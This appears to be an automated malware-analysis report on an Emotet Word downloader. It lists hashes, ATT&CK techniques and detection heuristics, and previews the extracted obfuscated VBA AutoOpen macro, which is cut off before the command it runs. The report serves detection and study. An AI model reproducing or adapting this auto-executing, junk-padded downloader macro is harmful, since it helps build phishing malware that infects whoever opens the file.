Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 978cbba734ab9dd8…

MALICIOUS

Office (OLE)

141.8 KB Created: 2018-11-28 12:05:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 909b60c07d3afdd42732cd6a64868d70 SHA-1: 52f900bd72fdc345271a91ffe00162b466bbaf15 SHA-256: 978cbba734ab9dd85cdb26b21e61e61ac08aa062fad11c0a7e8c4f754e727264
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function that is triggered upon opening the document. This macro utilizes the dangerous WScript.Shell COM class to execute a command, likely to download and run a secondary payload. The ClamAV detection and heuristic firings strongly indicate this is a downloader for the Emotet family.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6826435-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826435-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7850 bytes
SHA-256: 198ff1a7f3183d00545b507d062ba9b64c7272f6b3483c932ebbf994021f60f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PfAGmOG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case BjBzh
      Case 60615032
         PvkarRTl = CBool(OzBVak)
         tDKszJVdC = 100082315
      Case 302068318
         XiYccA = Atn(zSSjOZlIU)
         oYjRmIw = Atn(147723858 * CLng(108045589))
   End Select
         For Each FaHXcXAO In qXZVakcb
         wSLBBFN = KBlZbGLNu * CDate(LuDqZWW * zPDIjKh) * azaEYBK / Sin(NwdMORNH) / LRjTFtof + 155451724 - 37270305 + Chr(326839218) + (BVbsBfOn * AJkSdatJ)
Next
   On Error Resume Next
Select Case BdVVBic
      Case 151480484
         OvRjPLT = CBool(jhjFh)
         ZiFvJdGn = 107893051
      Case 78023260
         NBGFiI = Atn(JGwEXHMj)
         UjKoQ = Atn(132611570 * CLng(303976777))
   End Select
         For Each rviStUafF In CKMwFY
         wamUGwjaZ = HGXzsHJO * CDate(aQPmVZSo * YrYal) * UtHbkwzsU / Sin(TZhVJDCh) / whhoRvn + 70417550 - 162543568 + Chr(10264865) + (NjUjdzzi * maXvEBA)
Next
Set CvcUsAGV = Shapes("qAUosho")
   On Error Resume Next
Select Case aOcztUKwJ
      Case 56016464
         poPvnb = CBool(jiDOm)
         MfSXr = 240462018
      Case 300944904
         KzFiTPSW = Atn(WzGlsG)
         dVKaZEuM = Atn(186179359 * CLng(151877692))
   End Select
         For Each OBmEYOWf In KMTMrKQhO
         UUYnuVaT = GDsGwd * CDate(UfRbr * MQUQBz) * OnMwwCRp / Sin(siwvHZ) / SGXjnqkP + 256991484 - 263095075 + Chr(34694560) + (ISdUc * zSqtKtLO)
Next
   On Error Resume Next
Select Case lJlDFtl
      Case 276439708
         sYRHn = CBool(TbSboSa)
         uZhKVD = 210624892
      Case 43922874
         qQmqzoo = Atn(YLMHoF)
         iTXNjV = Atn(100805669 * CLng(57056009))
   End Select
         For Each wriXjQ In XlwaqAmW
         dJQGOEFT = fBjSXEb * CDate(brGJR * IZoVqiVi) * AaFLwCzu / Sin(LBDOFFOt) / jYuQiMbIj + 168658881 - 231804082 + Chr(100111578) + (ABUfrRtc * izUzP)
Next
PBphCt = "" + jvOOV + dwHndCK + vYDzLI + GvYwd + CvcUsAGV.TextFrame.TextRange.Text + BwBhKYU + kzjKrz + QTpNobP + zjhiOBq
   On Error Resume Next
Select Case aaTti
      Case 33912553
         nuwEEwDOt = CBool(YUFzfqNU)
         qqtRBim = 237970973
      Case 299508520
         dQlwcOWVr = Atn(pMjipaN)
         MvjGZKOI = Atn(303791183 * CLng(190103852))
   End Select
         For Each VRLKQQTmX In jJVVpii
         PcbUD = wOWqahU * CDate(taVNdC * NVnqGd) * OkkckwiA / Sin(BOoLBt) / LpHPPuA + 181166776 - 34339666 + Chr(184662158) + (CGndwuMAm * wzWpt)
Next
   On Error Resume Next
Select Case wRZBipOww
      Case 129604512
         kvVhuf = CBool(qULqlq)
         nEcRGmhpi = 120077165
      Case 166332984
         qITFCB = Atn(lClkMRjwa)
         mGjjLqkmj = Atn(293160600 * CLng(216917033))
   End Select
         For Each vRDIjpEX In IorEnB
         PAZqGz = LsbiRiTVI * CDate(CHUjDi * sDbdRpiXo) * WjSqcw / Sin(rPHKmov) / fdCjhoLR + 232599555 - 328349600 + Chr(16930173) + (OuDzHcS * oqWZLuoob)
Next
   On Error Resume Next
Select Case mkrcRbvtj
      Case 282016637
         DzWUcnYfA = CBool(jmpSoooi)
         ZidciC = 55021785
      Case 308905229
         bwtLhKp = Atn(sBOwAbc)
         FzBJcn = Atn(50183106 * CLng(97991111))
   End Select
         For Each ROZWoR In szDEtV
         fdSvn = PYGAQc * CDate(Hlwoo * tQvPzEj) * GAXYTktVf / Sin(rUwDs) / YGLNM + 46504646 - 23177517 + Chr(98868470) + (PbnjOS * EWJYjcwrL)
Next
   On Error Resume Next
Select Case NjFwKBCF
      Case 301711016
         jlFtiaJKj = CBool(LwvPDr)
         wRzlUCk = 170421436
      Case 186570219
         hZvJakn = Atn(NJZGEi)
         kJURl = Atn(274684494 * CLng(310447291))
   End Select
         For Each WEnwEP In UTGDbloB
         LHDphFrM = cjsPIq * CDate(mFYFmojz * oGABCXw) * jGdmF / Sin(RMbdbfrF) / PWpfPv + 336441552 - 150723544 + Chr(161004475) + (LszqL * FnjjCN)
Next
   On Error Resume Next
Se
... (truncated)

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